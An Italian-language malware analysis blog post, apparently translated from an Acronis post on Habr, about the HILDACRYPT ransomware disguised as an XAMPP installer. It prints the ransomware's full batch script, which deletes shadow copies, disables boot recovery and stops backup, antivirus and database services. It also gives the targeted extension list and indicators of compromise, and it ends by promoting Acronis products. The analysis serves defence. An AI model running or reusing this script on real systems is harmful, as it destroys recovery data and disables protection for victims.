{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Ciao, Habr! Torniamo a parlare delle ultime versioni di malware della categoria Ransomware. HILDACRYPT \u00e8 un nuovo ransomware, appartenente alla famiglia Hilda, scoperta nell'agosto 2019, chiamata cos\u00ec in onore di un cartone animato del servizio di streaming Netflix, utilizzato per diffondere questo software. Oggi esploriamo le caratteristiche tecniche di questo virus ransomware aggiornato.<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/b42870531485dd30670e35e6a5e5125f.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><br \/>\nNella prima versione dei ransomware Hilda, il link al trailer ospitato su Youtube <noindex><a rel=\"nofollow\" href=\"https:\/\/www.youtube.com\/watch?v=XCojP2Ubuto\">trailer<\/a><\/noindex> della serie animata era incluso nella lettera di riscatto. HILDACRYPT, invece, si maschera da legittimo installer XAMPP \u2014 una distribuzione facile da installare di Apache, che include MariaDB, PHP e Perl. Inoltre, il file del ransomware ha un nome diverso \u2014 xamp. Inoltre, il file del programma ransomware non ha una firma digitale.<\/p>\n<h3>Analisi statica<\/h3>\n<p>\nIl ransomware \u00e8 contenuto in un file PE32 .NET, scritto per MS Windows. La sua dimensione \u00e8 di 135 168 byte. Sia il codice principale che il codice del protector sono scritti in C#. Secondo la data e l'ora della compilazione, il file binario \u00e8 stato creato il 14 settembre 2019.<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/9b04f91f5f56ad0ff981bb2a944fa848.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSecondo Detect It Easy, il ransomware \u00e8 stato compresso utilizzando Confuser e ConfuserEx, ma questi offuscatori rimangono simili a prima, solo che ConfuserEx \u00e8 il successore di Confuser, quindi le firme dei loro codici sono analoghe. <\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/ce65d4db560ea7d62ef228378ab207e6.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nHILDACRYPT \u00e8 effettivamente impacchettato con ConfuserEx. <\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/eee308f9f6080b616c08e2f6709245d8.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n<h3>Vettore di attacco<\/h3>\n<p>\nProbabilmente, il ransomware \u00e8 stato trovato su uno dei siti dedicati alla programmazione web, mascherandosi da legittimo software XAMPP.<\/p>\n<p>L'intera catena di infezione pu\u00f2 essere vista in <noindex><a rel=\"nofollow\" href=\"https:\/\/app.any.run\/tasks\/abe20240-2f3c-40cf-b5dd-4f0088ab1c5a\/\">app.any.run sandbox<\/a><\/noindex>.<\/p>\n<h3>Offuscamento <\/h3>\n<p>\nLe stringhe del ransomware sono memorizzate in forma crittografata. Quando viene eseguito, HILDACRYPT le decifra utilizzando Base64 e AES-256-CBC.<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/9e2a478ba19480308dcff887c2353e18.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h3>Installazione<\/h3>\n<p>\nPrima di tutto, il ransomware crea nella cartella %AppDataRoaming% una cartella con un GUID (Globally Unique Identifier) generato casualmente. Aggiungendo un file bat a questa posizione, il ransomware lo avvia tramite cmd.exe:<\/p>\n<p><i>cmd.exe \/c JKfgkgj3hjgfhjka.bat &amp; exit<br \/>\n<\/i><br \/>\n<img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/5319151b3f57af2394e6031f4cd1bcd6.jpg\" style=\"display:block;margin: 0 auto;\" \/><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/c0c749619f3f9a240e362f5effb5ea2e.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\nSuccessivamente, inizia l'esecuzione di uno script batch per disabilitare le funzioni di sistema o i servizi.<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/ecea9735d151835ddeeb62986b325399.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLo script contiene un lungo elenco di comandi che distruggono le copie shadow, disabilitano il server SQL, il backup e le soluzioni antivirus.<\/p>\n<p>Ad esempio, tenta senza successo di fermare i servizi di backup di Acronis Backup. Inoltre, attacca i sistemi di backup e le soluzioni antivirus dei seguenti fornitori: Veeam, Sophos, Kaspersky, McAfee e altri.<\/p>\n<pre><code class=\"plaintext\">@echo off\n:: Non sono un grande fan dei pony, le ragazze cartoon sono migliori, non credi?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\net stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n<p>\nDopo che i servizi e processi menzionati sopra sono disattivati, il cryptolocker raccoglie informazioni su tutti i processi in esecuzione utilizzando il comando tasklist, per assicurarsi che tutti i servizi necessari siano non funzionanti. <br \/>\n<i>tasklist v \/fo csv<\/i><\/p>\n<p>Questo comando produce un elenco dettagliato dei processi in esecuzione, i cui elementi sono separati dal carattere \u00ab,\u00bb. <br \/>\n<i>&#171;\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,&#187;\ufffd\/\ufffd&#187;,\u00ab0:00:03\u00bb,&#187;\ufffd\/\ufffd&#187;&#187;<br \/>\n<\/i><\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/b16a8f52dba47ace2ca99d120f4f9b01.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDopo questa verifica, il ransomware inizia il processo di crittografia. <\/p>\n<h3>Crittografia <br \/>\n<\/h3>\n<h4>Crittografia dei file<\/h4>\n<p>\nHILDACRYPT scorre tutto il contenuto trovato nei dischi rigidi, eccetto le cartelle Recycle.Bin e Reference AssembliesMicrosoft. Quest'ultima contiene file critici come dll, pdb, ecc. per le applicazioni .Net, che potrebbero influenzare il funzionamento del ransomware. Per cercare i file da crittografare, viene utilizzato il seguente elenco di estensioni:<\/p>\n<p><i><span class=\"file-extension\">.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md<br \/>\n<\/i><br \/>\nPer la crittografia dei file dell'utente, il ransomware utilizza l'algoritmo AES-256-CBC. La dimensione della chiave \u00e8 di 256 bit, mentre la dimensione del vettore di inizializzazione (IV) \u00e8 di 16 byte. <\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/7c1a57562a3f8ada074639fbab35429d.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nNello screenshot seguente, i valori byte_2 e byte_1 sono stati ottenuti in modo casuale utilizzando GetBytes(). <\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/fcd506b4ebf6ccb056b69ccc7249641a.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nChiave<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/9af5398ae995176297743fbd94054d6d.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nVI<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/e6626bce140fdfca6bb989602b959786.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nIl file crittografato ha l'estensione HCY!.. Questo \u00e8 un esempio di file crittografato. Per questo file sono state generate la chiave e l'IV sopra menzionati. <\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/f6d659bfe8a8217457e06fed916a4f2d.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h4>Crittografia delle chiavi<\/h4>\n<p>\nIl cryptolocker memorizza la chiave AES generata nel file crittografato. La prima parte del file crittografato ha un'intestazione che contiene dati come HILDACRYPT, KEY, IV, FileLen in formato XML e appare nel modo seguente:<\/p>\n<p><img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/e0d887d87b06346da88104c2d60940b8.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa crittografia della chiave AES e dell'IV avviene tramite RSA-2048, mentre la codifica \u00e8 effettuata tramite Base64. La chiave pubblica RSA \u00e8 conservata nel corpo del cryptolocker in una delle stringhe criptate in formato XML.<\/p>\n<p><code>28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB<br \/>\n<\/code><\/p>\n<p>Per la crittografia della chiave del file AES viene utilizzata la chiave pubblica RSA. La chiave pubblica RSA \u00e8 codificata in Base64 e consiste nel modulo e nell'esponente pubblico 65537. Per la decrittazione \u00e8 necessaria la chiave privata RSA, in possesso dell'attaccante.<\/p>\n<p>Dopo la crittografia RSA, la chiave AES viene codificata usando Base64, salvata in un file cifrato.<\/p>\n<h3>Messaggio di riscatto<\/h3>\n<p>\nAl termine della crittografia, HILDACRYPT registra un file html nella cartella in cui ha cifrato i file. La notifica del programma ransomware contiene due indirizzi email tramite cui la vittima pu\u00f2 contattare l'autore.<\/p>\n<ul>\n<li><i>hildalolilovesyou@airmail.cc<\/i><br \/>\n hildalolilovesyou@memeware.net\n<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"HILDACRYPT: un nuovo programma ransomware colpisce i sistemi di backup e le soluzioni antivirus\" src=\"\/wp-content\/uploads\/2019\/11\/9996e9a6741ac3b8c423374c83924a91.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa notifica del ransomware contiene anche la frase \u00abNo loli is safe;)\u00bb \u2014 \u00abNessuna loli \u00e8 al sicuro;)\u00bb, un riferimento ai personaggi di anime e manga con l'aspetto di bambine, vietati in Giappone.<\/p>\n<h3>Risultato<\/h3>\n<p>\nHILDACRYPT, una nuova famiglia di ransomware, ha rilasciato una nuova versione. Il modello di crittografia non consente alla vittima di decrittografare i file cifrati dal ransomware. Il cryptolocker utilizza metodi di protezione attiva per disabilitare i servizi di protezione legati ai sistemi di backup e alle soluzioni antivirus. L'autore di HILDACRYPT \u00e8 un fan della serie animata Hilda, mostrata su Netflix, il cui trailer era incluso nella lettera di riscatto della versione precedente del programma. <\/p>\n<p>Come al solito, <noindex><a rel=\"nofollow\" href=\"https:\/\/www.acronis.com\/en-us\/business\/backup\/\">Acronis Backup<\/a><\/noindex> e <noindex><a rel=\"nofollow\" href=\"https:\/\/www.acronis.com\/en-us\/personal\/computer-backup\/\">Acronis True Image<\/a><\/noindex> possono proteggere il tuo computer da ransomware HILDACRYPT, mentre i provider hanno la possibilit\u00e0 di tutelare i propri clienti attraverso <noindex><a rel=\"nofollow\" href=\"https:\/\/www.acronis.com\/en-us\/cloud\/service-provider\/backup\/\">Acronis Backup Cloud<\/a><\/noindex>. La protezione \u00e8 garantita dalla combinazione di queste soluzioni <noindex><a rel=\"nofollow\" href=\"https:\/\/www.acronis.com\/en-us\/cyber-protection\/\">sicurezza informatica<\/a><\/noindex> che include non solo il backup, ma anche il nostro sistema integrato di protezione <noindex><a rel=\"nofollow\" href=\"https:\/\/www.acronis.com\/en-us\/ransomware-protection\/\">Acronis Active Protection<\/a><\/noindex> \u2013 potenziato da un modello di apprendimento automatico e che si basa su tecnologie di heuristica comportamentale, in grado di affrontare le minacce dei ransomware zero-day come nessun altro.<\/p>\n<h3>Indicatori di compromissione<\/h3>\n<p>\nEstensione del file HCY!<br \/>\nHILDACRYPTReadMe.html<br \/>\nxamp.exe con una lettera \u00abp\u00bb e senza firma digitale<br \/>\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<br \/>\n<br \/>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/acronis\/blog\/474048\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! \u0418 \u0441\u043d\u043e\u0432\u0430 \u043c\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043e \u0441\u0432\u0435\u0436\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u0437 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 Ransomware. HILDACRYPT \u2014 \u044d\u0442\u043e \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2019 \u0433\u043e\u0434\u0430 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 Hilda, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432 \u0447\u0435\u0441\u0442\u044c \u043c\u0443\u043b\u044c\u0442\u0444\u0438\u043b\u044c\u043c\u0430 \u0441\u0442\u0440\u0438\u043c\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 Netflix, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u041f\u041e. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043c\u0441\u044f \u0441 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0438\u0440\u0443\u0441\u0430-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f. \u0412 \u043f\u0435\u0440\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Hilda [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-52277","post","type-post","status-publish","format-standard","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440! 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